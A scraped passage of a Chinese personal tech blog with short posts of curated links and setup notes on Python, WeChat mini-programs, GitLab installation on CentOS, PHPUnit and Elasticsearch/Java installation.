class="string">'/path/to/my/ca.crt'</span>])</span><br><span class="line"></span><br><span class="line">https:<span class="comment">//stackoverflow.com/questions/10667960/python-requests-throwing-sslerror</span></span><br><span class="line">https:<span class="comment">//requests.readthedocs.io/en/latest/user/advanced/#ssl-cert-verification</span></span><br></pre></td></tr></table></figure>
<p><a href="https://learnku.com/articles/39732" target="_blank" rel="noopener">Python 数据分析实战 | 用数据带你回顾乔丹的职业生涯</a></p>
<p><a href="https://learnku.com/articles/39640" target="_blank" rel="noopener">Python 包的创建</a></p>
<p><a href="https://learnku.com/python/t/38853" target="_blank" rel="noopener">Flask 和 ChatterBot 构建聊天机器人</a></p>
<p><a href="https://learnku.com/python/t/38748" target="_blank" rel="noopener">小项目来学习 Flask</a></p>
<p><a href="https://learnku.com/python/t/38740" target="_blank" rel="noopener">Flask 项目结构分享</a></p>
<p><a href="https://github.com/hk029/christmas-hat" target="_blank" rel="noopener">纯前端实现人脸识别自动佩戴圣诞帽</a></p>
<p><a href="https://mp.weixin.qq.com/s/_nmpXZY9ctBSnCVdgy0KLA" target="_blank" rel="noopener">python flask 微信机器人</a></p>
<p><a href="https://github.com/Foair/course-crawler" target="_blank" rel="noopener">中国大学MOOC、学堂在线、网易云课堂、好大学在线、爱课程 MOOC 课程下载。</a></p>
<p><a href="https://www.yingjoy.cn/numpy-100-1/" target="_blank" rel="noopener">100个Numpy练习</a></p>
<p><a href="https://learnku.com/articles/36218" target="_blank" rel="noopener">Python 图文识别</a></p>
<p><a href="https://mp.weixin.qq.com/s?__biz=MjM5MTQ4NjA3Nw==&amp;mid=2459679291&amp;idx=1&amp;sn=c5062f89f10f12d9cb2bfb3132f3555f&amp;chksm=b1dbc32986ac4a3f67a09e1afd20337c439b84a81df54c34166d8387b7dce6899091f5a5fa52&amp;mpshare=1&amp;scene=21&amp;srcid=0108BeXqtj8pQ4Fjor6Q5x9i&amp;from=timeline&amp;ascene=2&amp;devicetype=android-19&amp;version=27000038&amp;nettype=WIFI&amp;abtest_cookie=BQABAAoACwASABMAFAAGACOXHgBXmR4Am5keAJ2ZHgCjmR4As5keAAAA&amp;lang=zh_CN&amp;pass_ticket=os0oh%20IZdLx%20aDsZPG7o00lQN1g5c4hQqPsbtpOn4Hie5oswKrr7aOHXbRHTMWMP&amp;wx_header=1#wechat_redirect" target="_blank" rel="noopener">学Python前请你先看看这个文章！</a></p>
<p><a href="https://github.com/eastlakeside/interpy-zh" target="_blank" rel="noopener">Python进阶书籍</a></p>
<p><a href="https://github.com/mozilla/readability" target="_blank" rel="noopener">新闻类网站通用抽取器 https://github.com/kingname/GeneralNewsExtractor </a></p>
<p><a href="https://zhuanlan.zhihu.com/p/70039605" target="_blank" rel="noopener">用Python把公众号文章打包成pdf文件</a></p>
<p><a href="http://jartto.wang/2018/12/31/f2e-2018/" target="_blank" rel="noopener">用 Python 爬取 2018 前端热点</a></p>
<p><a href="https://oicebot.github.io/2018/09/05/30-mins-into-pandas-for-data-science.html" target="_blank" rel="noopener">30分钟带你入门数据分析工具 Pandas</a></p>
<p><a href="http://www.ikeguang.com/2019/08/06/PyCharm2019-register/" target="_blank" rel="noopener">PyCharm2019激活</a></p>
<p><a href="https://me.jinchuang.org/archives/280.html" target="_blank" rel="noopener">wkhtmlpdf命令行工具发送微信图片告警</a></p>
<p><a href="https://post.zz173.com/detail/hfu17Yn_YpMY9TlVNTqv8w.html" target="_blank" rel="noopener">Python解密进相亲交流群</a></p>
<p><a href="https://github.com/sweida/python-study/tree/master/videoToCode" target="_blank" rel="noopener">OpenCV和FFmpeg将普通视频转成代码视频</a></p>
<p><a href="https://python3-cookbook.readthedocs.io/zh_CN/latest/index.html" target="_blank" rel="noopener">python3文档</a></p>
<p><a href="https://learnku.com/articles/31315" target="_blank" rel="noopener">从零开始的 TensorFlow tensorflow.google.cn/</a></p>
<p><a href="https://learnku.com/articles/30542" target="_blank" rel="noopener">Redis 结合 flask 及 vue 实现 SSE 在线聊天</a></p>
<p><a href="http://www.python88.com/user/6732" target="_blank" rel="noopener">Python社区文章</a></p>
<p><a href="http://martinhan.site/2017-04-15/python%E7%89%88-%E6%89%B9%E9%87%8F%E4%B8%AD%E6%96%87%E6%96%87%E4%BB%B6%E5%90%8D%E8%BD%AC%E8%8B%B1%E6%96%87.html" target="_blank" rel="noopener">python版-批量中文文件名转英文</a></p>
<p><a href="https://github.com/xchaoinfo/fuck-login" target="_blank" rel="noopener">模拟登录一些知名的网站，为了方便爬取需要登录的网站fuck login</a></p>
<p><a href="https://finthon.com/data-processing/pandas/" target="_blank" rel="noopener">pandas</a></p>
<p><a href="https://yangfangs.github.io/2018/08/06/python-distribution-packages/" target="_blank" rel="noopener">Python 快速打包发布软件PyPi上</a></p>
<p><a href="https://finthon.com/python-advance/" target="_blank" rel="noopener">Python进阶</a></p>
<p><a href="https://www.restran.net/2015/10/04/supervisord-tutorial/" target="_blank" rel="noopener">Python 进程管理工具 Supervisor 使用教程</a></p>
<p><a href="https://www.restran.net/2017/02/25/python-tutorial-outline/" target="_blank" rel="noopener">Python 入门教程 - 课程大纲</a></p>
<p><a href="">网易云音乐歌曲评论爬虫</a></p>
<p><a href="http://python.jobbole.com/89161/" target="_blank" rel="noopener">爬取豆瓣短评之《后来的我们》</a></p>
<p><a href="https://www.techug.com/post/python-tips-and-trick.html" target="_blank" rel="noopener">python奇技淫巧</a></p>
<p><a href="https://github.com/5alt/ZeroScan" target="_blank" rel="noopener">爆破的方式收集子域名https://5alt.me/tools/</a></p>
<p><a href="https://github.com/CriseLYJ/awesome-python-login-model" target="_blank" rel="noopener">python模拟登陆一些大型网站，还有一些简单的爬虫</a></p>
<p>python 爬虫入门初级篇 <a href="https://piaosanlang.gitbooks.io/spiders/content/01day/README1.html" target="_blank" rel="noopener">https://piaosanlang.gitbooks.io/spiders/content/01day/README1.html</a></p>
<p>python 坦克大战源码 <a href="https://learnku.com/articles/34725" target="_blank" rel="noopener">https://learnku.com/articles/34725</a></p>
<p><a href="https://learnku.com/articles/35053" target="_blank" rel="noopener">pycharm激活码 过期</a></p>
<p><a href="http://www.liujiangblog.com/course/python/1" target="_blank" rel="noopener">python教程</a></p>
<p><a href="https://learnku.com/python/t/35004" target="_blank" rel="noopener">Python 反编译调用有道翻译</a></p>
<p><a href="https://github.com/Bgods/PDF2PNG" target="_blank" rel="noopener">PDF 和图片互转</a></p>
<p><a href="https://learnku.com/articles/35287" target="_blank" rel="noopener">pandas 学习笔记 </a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/02/25/微信小程序项目收集/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/02/25/微信小程序项目收集/" itemprop="url">微信小程序项目收集</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-02-25T15:16:04+08:00">
                2019-02-25
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  346 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  1 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h3 id="小程序登录流程"><a href="#小程序登录流程" class="headerlink" title="小程序登录流程"></a>小程序登录流程</h3><p><img src="https://iocaffcdn.phphub.org/uploads/images/201903/03/26968/uiTFdowDpC.jpg!large" alt="i"></p>
<h3 id="微信小程序版博客"><a href="#微信小程序版博客" class="headerlink" title="微信小程序版博客"></a>微信小程序版博客</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">软件架构 https:<span class="comment">//learnku.com/articles/24562#topnav</span></span><br><span class="line"></span><br><span class="line">开发工具：微信开发者工具</span><br><span class="line">语言：直接使用原生的</span><br><span class="line">项目地址：https:<span class="comment">//github.com/yanthink/mpblog</span></span><br><span class="line"></span><br><span class="line">小程序后端</span><br><span class="line"></span><br><span class="line">开发工具：PhpStorm</span><br><span class="line">语言：PHP</span><br><span class="line">框架：Laravel <span class="number">5.6</span></span><br><span class="line">数据库：Mysql <span class="number">8.0</span></span><br><span class="line">队列：Redis</span><br><span class="line">全文搜索：Elasticsearch</span><br><span class="line">websocket：Redis + websockets/ws</span><br><span class="line">项目地址：https:<span class="comment">//github.com/yanthink/blog-api</span></span><br><span class="line"></span><br><span class="line">后台管理</span><br><span class="line"></span><br><span class="line">开发工具：WebStorm</span><br><span class="line">语言：JavaScript</span><br><span class="line">框架：ant design pro <span class="number">2.0</span><span class="number">.0</span>-beta<span class="number">.1</span></span><br><span class="line">项目地址：https:<span class="comment">//github.com/yanthink/blog</span></span><br><span class="line"></span><br><span class="line">运维</span><br><span class="line"></span><br><span class="line">反向代理：Nginx <span class="number">1.12</span><span class="number">.2</span></span><br><span class="line">SSL证书：Symantec 免费版</span><br><span class="line">服务器：阿里云轻量级服务器 CentOS <span class="number">7.3</span></span><br></pre></td></tr></table></figure>
<h3 id="知识付费小程序"><a href="#知识付费小程序" class="headerlink" title="知识付费小程序"></a>知识付费小程序</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//github.com/SmallRuralDog/yundocs</span></span><br><span class="line">yarn global add @tarojs/cli</span><br><span class="line">git clone https:<span class="comment">//github.com/SmallRuralDog/yundocs.git yundocs</span></span><br><span class="line">cd yundocs</span><br><span class="line">yarn install</span><br><span class="line">yarn run dev:weapp</span><br></pre></td></tr></table></figure>
<h3 id="配置小程序前后端"><a href="#配置小程序前后端" class="headerlink" title="配置小程序前后端"></a>配置小程序前后端</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">git clone https:<span class="comment">//github.com/jc91715/xcx-sina-sae.git project</span></span><br><span class="line">cd project &amp;&amp; npm install</span><br><span class="line">npm run --watch</span><br><span class="line"></span><br><span class="line">https:<span class="comment">//learnku.com/articles/23948</span></span><br></pre></td></tr></table></figure>
<h3 id="小程序社区"><a href="#小程序社区" class="headerlink" title="小程序社区"></a>小程序社区</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="comment">//yike.io/</span></span><br><span class="line">前端：https:<span class="comment">//github.com/overtrue/yike.io</span></span><br><span class="line">后端：https:<span class="comment">//github.com/overtrue/api.yike.io</span></span><br><span class="line">视频：https:<span class="comment">//learnku.com/courses/laravel-package/yikeio/2505</span></span><br></pre></td></tr></table></figure>
<p><a href="https://learnku.com/articles/28072#topnav" target="_blank" rel="noopener">整理小程序登录状态维护笔记</a></p>
<p><a href="https://blog.mutoe.com/2019/button-border-in-wechat-miniprogram/" target="_blank" rel="noopener">微信小程序开发问题集锦</a><br>藏头诗微信小程序，表白，祝福，整蛊。还可以抖音去水印。<br>小程序码，微信直接扫一扫打开，或者微信搜：快抖工具箱<br>百度AI体验中心微信小程序<br><a href="https://github.com/foolstack-omg/wepy-image-cropper" target="_blank" rel="noopener">小程序图片裁剪插件</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/01/22/gitlab-使用/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/01/22/gitlab-使用/" itemprop="url">gitlab 使用</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-01-22T11:58:42+08:00">
                2019-01-22
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  466 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  2 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h3 id="安装ssh"><a href="#安装ssh" class="headerlink" title="安装ssh"></a>安装ssh</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install -y curl policycoreutils-pythonopenssh-server</span><br></pre></td></tr></table></figure>
<h3 id="安装postfix"><a href="#安装postfix" class="headerlink" title="安装postfix"></a>安装postfix</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">yum install postfix</span><br><span class="line">将postfix服务设置成开机自启动。</span><br><span class="line"></span><br><span class="line">安装命令：sudo systemctl enable postfix</span><br><span class="line"></span><br><span class="line"> 启动postfix。</span><br><span class="line"></span><br><span class="line">安装命令：sudo systemctl start postfix</span><br><span class="line">如出现了错误：</span><br><span class="line">job <span class="keyword">for</span> postfix.service failed. See <span class="string">'systemctl status postfix.service'</span> and <span class="string">'journalctl -xn'</span> <span class="keyword">for</span> deta。</span><br><span class="line"></span><br><span class="line">然后执行vi /etc/hosts，注释掉下面这一行</span><br><span class="line"></span><br><span class="line">#::1  localhost localhost.localdomain localhost6 localhost6.localdomain6</span><br><span class="line">systemctl start postfix</span><br></pre></td></tr></table></figure>
<h3 id="添加GitLab镜像"><a href="#添加GitLab镜像" class="headerlink" title="添加GitLab镜像"></a>添加GitLab镜像</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">wget https:<span class="comment">//mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-10.0.0-ce.0.el7.x86_64.rpm</span></span><br><span class="line">rpm -i gitlab-ce<span class="number">-10.0</span><span class="number">.0</span>-ce<span class="number">.0</span>.el7.x86_64.rpm</span><br><span class="line">#rpm -e gitlab-ce-10.0.0-ce.0.el7.x86_64 卸载</span><br><span class="line">出现错误：依赖检测失败。</span><br><span class="line">yum install policycoreutils-python</span><br></pre></td></tr></table></figure>
<h3 id="修改gitlab配置"><a href="#修改gitlab配置" class="headerlink" title="修改gitlab配置"></a>修改gitlab配置</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">vim  /etc/gitlab/gitlab.rb</span><br><span class="line"></span><br><span class="line">修改external_url <span class="string">'http://xxxx'</span>（xxx：代表公网IP地址）</span><br></pre></td></tr></table></figure>
<h3 id="启动GitLab"><a href="#启动GitLab" class="headerlink" title="启动GitLab"></a>启动GitLab</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">gitlab-ctl reconfigure</span><br><span class="line">gitlab-ctl restart</span><br><span class="line">ok: run: alertmanager: (pid <span class="number">3845</span>) <span class="number">0</span>s</span><br><span class="line">ok: run: gitaly: (pid <span class="number">3854</span>) <span class="number">0</span>s</span><br><span class="line">ok: run: gitlab-monitor: (pid <span class="number">3866</span>) <span class="number">0</span>s</span><br><span class="line">ok: run: gitlab-workhorse: (pid <span class="number">3873</span>) <span class="number">1</span>s</span><br><span class="line">ok: run: logrotate: (pid <span class="number">3878</span>) <span class="number">0</span>s</span><br><span class="line">ok: run: nginx: (pid <span class="number">3889</span>) <span class="number">0</span>s</span><br><span class="line">ok: run: node-exporter: (pid <span class="number">3891</span>) <span class="number">0</span>s</span><br><span class="line">ok: run: postgres-exporter: (pid <span class="number">3903</span>) <span class="number">0</span>s</span><br><span class="line">ok: run: postgresql: (pid <span class="number">3976</span>) <span class="number">1</span>s</span><br><span class="line">ok: run: prometheus: (pid <span class="number">4000</span>) <span class="number">0</span>s</span><br><span class="line">ok: run: redis: (pid <span class="number">4008</span>) <span class="number">0</span>s</span><br><span class="line">ok: run: redis-exporter: (pid <span class="number">4013</span>) <span class="number">0</span>s</span><br><span class="line">ok: run: sidekiq: (pid <span class="number">4025</span>) <span class="number">0</span>s</span><br><span class="line">ok: run: unicorn: (pid <span class="number">4033</span>) <span class="number">1</span>s</span><br><span class="line">直接输入服务器ip和指定端口进行访问</span><br><span class="line">初始账户:root 密码:第一次登录修改密码</span><br></pre></td></tr></table></figure>
<h3 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h3><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">排查问题利器：</span><br><span class="line">gitlab-rake gitlab:check ( check查看整体状态值)</span><br><span class="line">gitlab-ctl status  (查询gitlab状态)</span><br><span class="line"> </span><br><span class="line">如果缺少资源，可以使用以下命令关闭Unicorn和Sidekiq，暂时释放一些内存：</span><br><span class="line">sudo gitlab-ctl stop unicorn</span><br><span class="line">sudo gitlab-ctl stop sidekiq</span><br><span class="line"><span class="number">8080</span>端口冲突</span><br><span class="line">原因：由于unicorn默认使用的是<span class="number">8080</span>端口。</span><br><span class="line">解决办法：打开/etc/gitlab/gitlab.rb,打开# unicorn['port'] = 8080 的注释，将8080修改为9090，保存后运行sudo gitlab-ctl reconfigure即可。</span><br></pre></td></tr></table></figure>
<p><a href="https://mp.weixin.qq.com/s/iLENqV4mULSpeX0JRdgOWQ" target="_blank" rel="noopener">5分钟教你搭建一个GitLab仓库</a></p>
<p><a href="http://www.54php.cn/default/96.html" target="_blank" rel="noopener">用GitLab搭建自己的私有GitHub</a></p>
<p><a href="https://www.cnblogs.com/qiuzhimutou/p/9769940.html" target="_blank" rel="noopener">搭建GitLab</a></p>
<p><a href="https://www.fanhaobai.com/2017/02/gitlab-install.html" target="_blank" rel="noopener">搭建本地GitLab仓库</a></p>
<p><a href="https://www.restran.net/2016/02/23/git-and-gitlab-guide/" target="_blank" rel="noopener">Git &amp; Gitlab 使用指南</a></p>
<p><a href="https://learngitbranching.js.org/?demo" target="_blank" rel="noopener">git在线测试</a></p>
<p><a href="https://learnku.com/articles/29715" target="_blank" rel="noopener">Jenkins CentOS 安装</a></p>
<p><a href="https://www.codeku.me/archives/3031.html" target="_blank" rel="noopener">自建GitHub镜像，速度提升百分之一千https://i.codeku.me</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/01/18/phpunit/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/01/18/phpunit/" itemprop="url">phpunit</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-01-18T20:22:35+08:00">
                2019-01-18
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  91 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  1 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h3 id="执行命令的函数"><a href="#执行命令的函数" class="headerlink" title="执行命令的函数"></a>执行命令的函数</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> platform</span><br><span class="line">platform.popen(<span class="string">'ipconfig'</span>).read()</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line">subprocess.Popen(<span class="string">'ipconfig'</span>, shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line">os.system(<span class="string">'ls'</span>) https:<span class="comment">//www.restran.net/2018/10/29/ctf-python-vulnerability-notes/</span></span><br></pre></td></tr></table></figure>
<p><a href="https://www.jianshu.com/p/ba6829a6f3ec" target="_blank" rel="noopener">教你一步一步写一个phpunit testcase</a></p>
<p><a href="http://www.phpunit.cn/getting-started.html" target="_blank" rel="noopener">入门</a></p>
<p><a href="https://blog.csdn.net/A_Rocky/article/details/78801498" target="_blank" rel="noopener">Composer和PHPUnit入门</a></p>
<p><a href="https://www.cnblogs.com/52fhy/p/6208624.html" target="_blank" rel="noopener">phpunit笔记</a></p>
<p><a href="http://www.dahouduan.com/2017/08/18/composer-phpunit-phpstorm/" target="_blank" rel="noopener">通过Composer安装PHPunit并配置Phpstrom</a></p>
<p><a href="http://www.bayescafe.com/php/getting-started-with-phpunit.html" target="_blank" rel="noopener">开始使用PHPUnit</a></p>
<p><a href="https://laravel-china.org/topics/22341" target="_blank" rel="noopener">PHPUnit 加速技巧分享</a></p>
<p><a href="https://laravel-china.org/articles/22072#a278a7" target="_blank" rel="noopener">phpunit 快速入门</a></p>
<p><a href="https://blog.csdn.net/hel12he/article/details/50521928" target="_blank" rel="noopener">PHPUnit从零开始</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/01/16/elasticsearch/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/01/16/elasticsearch/" itemprop="url">elasticsearch</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-01-16T20:34:55+08:00">
                2019-01-16
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  1.3k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  7 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h3 id="安装java"><a href="#安装java" class="headerlink" title="安装java"></a>安装java</h3><p>elasticsearch 需要 java8 以上；我们到 <a href="https://www.oracle.com/technetwork/java/javase/downloads/index.html" target="_blank" rel="noopener">https://www.oracle.com/technetwork/java/javase/downloads/index.html</a> 下载安装最新版的 java11 jdk，<br>选中 Accept License Agreement 然后右键点击 jdk-11.0.2_linux-x6 4_bin.rpm 复制链接<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">[root@VM_0_14_centos ~]# wget https://download.oracle.com/otn-pub/java/jdk/11.0.2+7/f51449fcd52f4d52b93a989c5c56ed3c/jdk-11.0.2_linux-x6 4_bin.rpm</span><br><span class="line">-<span class="number">-2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">12</span>:<span class="number">42</span>:<span class="number">46</span>--  https:<span 